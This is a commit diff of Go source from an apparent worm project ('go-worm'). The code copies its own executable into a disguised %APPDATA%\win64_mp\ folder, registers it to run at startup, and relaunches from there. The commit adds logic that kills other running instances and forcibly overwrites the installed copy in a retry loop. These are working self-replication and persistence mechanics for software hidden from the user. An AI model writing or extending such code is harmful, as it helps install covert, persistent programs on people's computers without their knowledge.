fix(core): take over agent, reuse callbacks

- Kill running agents before replace
- Retry copy with backoff while locked
- Reuse syscall callbacks at package scope
- Add callback regression test
This commit is contained in:
2026-09-02 00:00:24 +03:00
parent ac31e52a8c
commit 536ea9a53e
10 changed files with 281 additions and 29 deletions
+44 -7
View File
@@ -6,12 +6,21 @@ import (
"os"
"path/filepath"
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
"tea.chunkbyte.com/kato/go-worm/lib/startup"
)
const replaceWait = 8 * time.Second
// Ensure copies the running exe into %APPDATA%\win64_mp\ when needed,
// refreshes an existing startup entry to that path, and re-launches from there.
// If an older agent is already installed or listening, it is torn down first.
// Old builds have no version field to compare, so any launch from outside
// the install path takes over.
func Ensure() error {
target, err := config.InstalledExe()
if err != nil {
@@ -34,19 +43,47 @@ func Ensure() error {
return nil
}
if err := copyExe(current, target); err != nil {
if _, statErr := os.Stat(target); statErr != nil {
return fmt.Errorf("copy to %s: %w", target, err)
hadStartup := startup.Enabled()
takeover(target)
if err := replaceExe(current, target); err != nil {
return fmt.Errorf("copy to %s: %w", target, err)
}
if hadStartup {
if err := startup.Enable(); err != nil {
helpers.Log.Printf("takeover: restore startup: %v", err)
}
}
if err := syncStartup(); err != nil {
return fmt.Errorf("update startup path: %w", err)
}
return relaunchInstalled(target)
}
func takeover(installed string) {
helpers.Log.Printf("takeover: replacing %s", installed)
if err := startup.Disable(); err != nil {
helpers.Log.Printf("takeover: disable old startup: %v", err)
}
if err := instance.KillOtherAgents(); err != nil {
helpers.Log.Printf("takeover: kill: %v", err)
}
}
func replaceExe(from, to string) error {
deadline := time.Now().Add(replaceWait)
var last error
for {
_ = instance.KillOtherAgents()
_ = os.Remove(to)
last = copyExe(from, to)
if last == nil {
return nil
}
if time.Now().After(deadline) {
return last
}
time.Sleep(100 * time.Millisecond)
}
}
func copyExe(from, to string) error {
if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
return err